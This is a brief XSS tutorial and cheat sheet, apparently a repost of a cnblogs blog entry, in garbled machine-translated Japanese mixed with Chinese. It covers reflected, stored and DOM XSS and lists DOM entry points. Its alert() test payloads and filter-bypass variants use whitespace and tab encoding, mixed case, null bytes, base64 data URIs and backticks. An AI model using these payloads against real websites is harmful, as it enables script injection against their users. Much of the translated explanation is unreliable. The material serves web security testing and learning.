XSS(A)

XSS

非永続的なXSS攻撃のタイプ:非耐久性のXSS攻撃は影響のみページへのアクセス時間を持つように、1回限りです。非永続型XSS攻撃は、攻撃者は、ユーザーがリンクにアクセスすると、攻撃の目的を達成するために、ユーザーのブラウザに実行された攻撃スクリプトに移植され、改ざんされた後のリンクにアクセスするには、ユーザーが必要です。

耐久性に優れたXSS攻撃:耐久性のあるXSSは、攻撃者のデータは、攻撃が常に存在してきた攻撃データが添付され、サーバ側に保存されます。

反射型ストレージタイプDOMタイプ

一般的なテストコード:

onmouseover="alert(xss);"

<script>alert(xss);</script>

<a href="javascript:alert(xss);">xss</a>

<img onerror="alert(xss);" src=>

主な原則:クローズタグ、構造悪意のあるコード

ユーザーを入力し、検索ボックスコメント地区として、構築することができ、登録された名前、連絡先情報、および隠し属性の入力がある場合が多いページ、次を使用して、隠し属性悪いクリックを、それをキャプチャげっぷを直接変更します別のショートカットの方法が異なるブラウザのコードを達成するために、そして他のショートカットと競合する可能性があります

accesskey="X" onclick="alert(xss)"

DOM XSSは、ページのDOMツリー解析ブラウザを変更することで、悪意のあるコードは、ソースコードのエコー内のページに戻りません。

ジャンプ、使用LOCATION.HREF、location.replace()、location.assign()によるJSページジャンプは、あなたはjavascriptの擬似プロトコルJSでスクリプトを実行することができます

DOM XSSエントリポイント

Location 現在のページのURLアドレス
window.name 現在のページタブ名が、それは他のサイトにジャンプした後、このページはwindow.name割り当てであることを意味し、別のウェブサイトを、割り当てられ、window.nameの値は変わりません
document.title 現在のページのタイトルで、次のように入力し、検索ボックスにそれを制御することができます
document.referer 以上訪問したページのURLを表し示し起源、
postMessage HTML5は、クロスドメインのメカニズムですが、開発者は多くの場合、正しいソースが検出されていない、それはDOM XSSにつながります
location これは通常の方法JS URIの実行にJSのジャンプを引き起こしています
eval JS JSは、組み込み動的アクチュエータであります
innerHTML ページ要素に割り当てることができます
document.write 出力することができ、ページフロー
Function 関数生成機能は、JSコードを動的に渡すことができることで
setTimeout JSコードが実行を遅らせます
setInterval これは、JSコードのサイクリック実行を表し、
XSSのバイパスコーディング

時には、入力文字をフィルタリングサイト、あなたはコーディングによってバイパスすることができ
原則:%がトランスコードされ、他のURLエンコードする際、URL要求、ブラウザがページデータを受信した後、HTMLエンティティのエンコーディングを持っていますトランスコーディング、トランスコーディングはJSUnicodeとJS JSの方法の実施のためのその他のサポートされます。

url编码 %+16进制数字 https://www.w3school.com.cn/tags/html_ref_urlencode.html

url base64编码 data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk7PC9zY3JpcHQ+

html编码  '&' + '约定名称' + ';' 的形式,其实还有 '&#' + '十进制数字' + ';' 和 '&#x' + '十六进制数字' + ';'   十进制和十六进制后面的;可以省略

JS Unicode 编码
规则是 '\u' + '四位十六进制数字'
jsfuck https://www.bugku.com/tools/jsfuck/
在script标签钟插入一个空格或者是tab
<script >alert(1)</script>
<script    >alert(1)</script>

也可以对tab,换行,回车进行编码来绕过
<script&#9>alert(1)</script>
<script&#10>alert(1)</script>
<script&#13>alert(1)</script>

对标签进行大小写
<ScRipT>alert(1)</sCriPt>

插入null字节,在xss payload的任何地方插入null字节,有时候可以绕过filter
<%00script>alert(1)</script>
<script>al%00ert(1)</script>

引用符をバックアップするために使用することができる支持体10のバージョン属性よりHTMLはすなわち以下 `)(それによってはhtmlspecialcharsをバイパスし、二重引用符を閉じ

参考資料:https://www.jianshu.com/p/13f0b9a15e46

おすすめ

転載: www.cnblogs.com/GH-D/p/11613986.html